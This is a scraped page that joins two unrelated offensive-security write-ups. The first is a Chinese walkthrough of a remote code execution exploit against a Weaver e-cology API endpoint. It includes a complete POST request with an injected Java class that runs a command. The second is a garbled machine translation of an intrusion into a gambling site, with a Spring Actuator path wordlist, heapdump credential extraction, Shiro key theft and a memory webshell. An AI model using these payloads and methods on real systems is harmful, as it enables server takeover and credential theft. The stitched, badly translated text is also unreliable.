var14的值是从请求参数method取得，因为前面是指定POST方法所以这里method=add
0yfbo2sdnxp14932.jpg
进入if判断后var15的值如果为空就会return掉，所以这里actionid的值不为空就好，结合上面的条件就是method=add&actionid=1
0ccuyqrcpxz14934.jpg
这里var18的开头如果不是weaver.interfaces.workflow.action.javacode.Action将会进入下面的判断导致抛出异常，达不到我们想要的结果，所以这里classname=weaver.interfaces.workflow.action.javacode.Action，结合上面的参数method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action
ovgndgck51w14936.jpg
下面var20值取自javacode参数，结合上面payload为method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode=
vciezpr1mxz14939.jpg
if如果var18包含weaver.interfaces.workflow.action.javacode进入我们想要的javacodetoobject调用，所以classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action两个条件用.连接否则会报加载异常
mbmwzbcl1y214941.jpg
根据上面的条件都已满足var18和var20条件，构造var20的参数为 javacode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码，达到命令执行
0k1ioy4rubn14945.jpg
实际发包好像没有利用成功，回头看一下代码 发现丢了个参数 dtinfo_CustomParameterData
POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 548

method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
import java.io.IOException;
public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
cbhsgocnqwv14947.png



转载来自： https://xz.aliyun.com/t/11947

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
困難との最初の出会い



 BQCステーションを見つけたら、最初にメインサイトにヒットしてみてください。图片最初にディレクトリをスキャンして、背景などを見つけることができるかどうかを確認してみてください。ここでdirsearchを使用しています。图片しかし、残念ながら、貴重なディレクトリはなく、背景をスキャンすることすらできませんが、これは予想されます。結局のところ、ほとんどのほうれん草のWebサイトの保護はうまくいっています。次に、アカウントを登録して見てみてください。图片注入を試みて、暗号化が逆になっていないことがわかります。一時的にしかgiveめません。图片登録後、アップロードインターフェイスが見つかったことがわかりました。图片アップロードに合わせて、IDの形で保存され、アップロードの脆弱性を引き起こすことができなかったことがわかりました。图片このウェブサイトは取得できず、その考え方を変えます。 IP全体に侵入してみてください。まず、このIPのポート全体をスキャンして、より完全な情報を取得してみてください。 2つのWebページが取得されました。 RocketMQ、この最新バージョンの脆弱性は公開され、試されました。图片は、攻撃を試みるツールを見つけましたが、コマンドの実行に失敗しました。图片別のログインインターフェイス图片 Shiro Frameworkが発見されました图片は爆発しようとしましたが、秘密の鍵は見つかりませんでした。图片 
柳と花は明るい
です


ブレークスルーポイント：彼はポート8888を持っており、アクセスすると違法なIPにジャンプします。图片げっぷを見た後、彼はログインページにアクセスしてからジャンプすることを発見しました。图片眉をひそめ、物事は単純ではないことを発見しました。彼はIPの少し後に追加したため、エラーを報告しました。彼は、スプリングフレームワークを使用していることを発見しました。图片Actuatorは、アプリケーションシステムの内省と監視のためにSpring Bootが提供する機能的モジュールです。アクチュエーター開発者の助けを借りて、アプリケーションシステムの特定の監視指標を簡単に表示およびカウントできます。アクチュエータ



 コアはエンドポイントエンドポイントで、アプリケーションとインタラクションを監視するために使用されます。 Spring-Boot-Actuatorにはすでに多くの組み込みがあります



エンドポイント（健康、情報、豆、メトリック、httptrace、shutdownなど）、および自分のものを拡張することもできます



エンドポイント。各エンドポイントを有効にして無効にできます。エンドポイントにリモートにアクセスするには、JMXまたはHTTPを介して公開する必要があり、ほとんどのアプリケーションはHTTPを選択します。パスがデフォルトで有効になっている関数の説明/auditeventsが現在のアプリケーション /豆の監査イベント情報を表示するかどうかは、アプリケーション /条件にすべてのスプリングビーンの完全なリストを表示することです。データベース移行パス（存在する場合） /健康はアプリケーションの健康情報を表示するため（認証されていない接続を使用してアクセスするとすべての情報の詳細を表示する場合、アプリケーション情報を表示するためにすべての情報の詳細が表示されます） /リキバーゼは、リキバースデータベース移動パスを表示するためです（存在する場合） /Metricsは現在のアプリケーション情報を表示します。 /スケジュールされたタスクは、アプリケーションでスケジュールされたタスクを示しています /セッションでは、ユーザーセッションを取得できません。スプリングセッションサポートセッションから削除されます。 （JolokiaがClassPathにある場合、WebFluxは使用できません） /LogFileはログファイルのコンテンツを返します（Logging.FileまたはLogging.Path属性が設定されている場合）、HTTP範囲ヘッダーの使用をサポートしてログファイルコンテンツの情報の一部を受け取ります。 Prometheusは、Prometheusサーバーがrawっている形式でメトリック情報を表示し、Springで収集されたディレクトリをディレクトリスキャンに直接使用することです。アクチュエータ



アクチュエータ/auditlog



アクチュエータ/監査vents



アクチュエータ/autoconfig



アクチュエータ/豆



アクチュエータ/キャッシュ



アクチュエータ/条件



アクチュエータ/configurationmetadata



アクチュエータ/configProps



アクチュエータ/ダンプ



アクチュエータ/env



アクチュエータ/イベント



アクチュエータ/exportretregisteredServices



アクチュエータ/機能



アクチュエータ/フライウェイ



アクチュエータ/健康



アクチュエータ/heapdump



アクチュエータ/ヘルスチェック



アクチュエータ/heapdump



アクチュエータ/httptrace



Actuator/Hystrix.Stream



アクチュエータ/情報



アクチュエータ/統合グラフ



アクチュエータ/ジョロキア



アクチュエータ/ログファイル



アクチュエータ/ロガー



アクチュエータ/LoggingConfig



アクチュエータ/リキバーゼ



アクチュエータ/メトリック



アクチュエータ/マッピング



アクチュエータ/スケジューリング



アクチュエータ/swagger-ui.html



アクチュエータ/プロメテウス



アクチュエータ/更新



アクチュエータ/登録サービス



アクチュエータ/リリースアトリビュート



アクチュエータ/resolveattributes



アクチュエータ/スケジューリング



アクチュエータ/セッション



アクチュエータ/スプリングウェブフロー



アクチュエータ/シャットダウン



アクチュエータ/SSO



アクチュエータ/ssosions



アクチュエータ/統計



アクチュエータ/ステータス



アクチュエータ/スレッドダンプ



アクチュエータ/トレース



監査



autoconfig



api.html



API/index.html



API/swagger-ui.html



API/V2/API-DOC



API-DOCS



豆



キャッシュ



CloudFoundryApplication



条件



configProps



distv2/index.html



ドキュメント



druid/index.html



druid/login.html



druid/websession.html



dubbo-provider/distv2/index.html



ごみ



エンティティ/すべて



env



env/（name）



ユーレカ



フライウェイ



ゲートウェイ/アクチュエータ



ゲートウェイ/アクチュエータ/監査済み



ゲートウェイ/アクチュエータ/豆



ゲートウェイ/アクチュエータ/条件



ゲートウェイ/アクチュエータ/configProps



ゲートウェイ/アクチュエータ/env



ゲートウェイ/アクチュエータ/健康



ゲートウェイ/アクチュエータ/heapdump



ゲートウェイ/アクチュエータ/httptrace



Gateway/Actuator/Hystrix.Stream



ゲートウェイ/アクチュエータ/情報



ゲートウェイ/アクチュエータ/ジョロキア



ゲートウェイ/アクチュエータ/ログファイル



ゲートウェイ/アクチュエータ/ロガー



ゲートウェイ/アクチュエータ/マッピング



ゲートウェイ/アクチュエータ/メトリック



ゲートウェイ/アクチュエータ/スケジューリング



Gateway/Actuator/Swagger-ui.html



ゲートウェイ/アクチュエータ/スレッドダンプ



ゲートウェイ/アクチュエータ/トレース



健康



heapdump



heapdump.json



httptrace



Hystrix



Hystrix.Stream



情報



IntegrationGraph



ジョロキア



ジョロキア/リスト



リキバーゼ



リスト



logfile



ロガー



リキバーゼ



メトリック



マッピング



モニター



プロメテウス



リフレッシュします



ScheduleDtasks



セッション



シャットダウン



spring-security-oauth-resource/swagger-ui.html



spring-security-rest/api/swagger-ui.html



static/swagger.json



sw/swagger-ui.html



sw歩



swagger/codes



swagger/index.html



swagger/static/index.html



swagger/swagger-ui.html



swagger-dubbo/api-docs



swagger-ui



swagger-ui.html



swagger-ui/html



swagger-ui/index.html



System/Druid/index.html



threaddump



テンプレート/swagger-ui.html



トレース



ユーザー/swagger-ui.html



バージョン



v1.1/swagger-ui.html



v1.2/swagger-ui.html



v1.3/swagger-ui.html



v1.4/swagger-ui.html



v1.5/swagger-ui.html



v1.6/swagger-ui.html



v1.7/swagger-ui.html



/v1.8/swagger-ui.html



/v1.9/swagger-ui.html



/v2.0/swagger-ui.html



v2.1/swagger-ui.html



v2.2/swagger-ui.html



v2.3/swagger-ui.html



V2/swagger.json



Webページ/System/Druid/Index.html



％20/swagger-ui.htmlは、图片のスキャンを開始し、その中にheapdumpが存在することがわかります。ダウンロードします。ヒープダンプは、ヒープダンプファイルとも呼ばれます。これは、特定の時点でのJavaプロセスのメモリスナップショットです。リークされたHeapdumpファイルは、Eclipse MemoryAnalyzerツールを介して分析し、Redisパスワード、MySQLデータベースアカウント、パスワードなど、メモリにロードされたプランステキストパスワード情報をクエリすることができます。ここでは、Master whwlsfbのjdumpspiderを使用しています



https://github.com/whwlsfb/jdumpspider 图片 Shiroのキー图片をメモリホースに入手してください。图片管理者許可を取得图片



元のリンクアドレスから転載：https://mp.weixin.qq.com/s/-zdavuqvmsw9pchydyuaba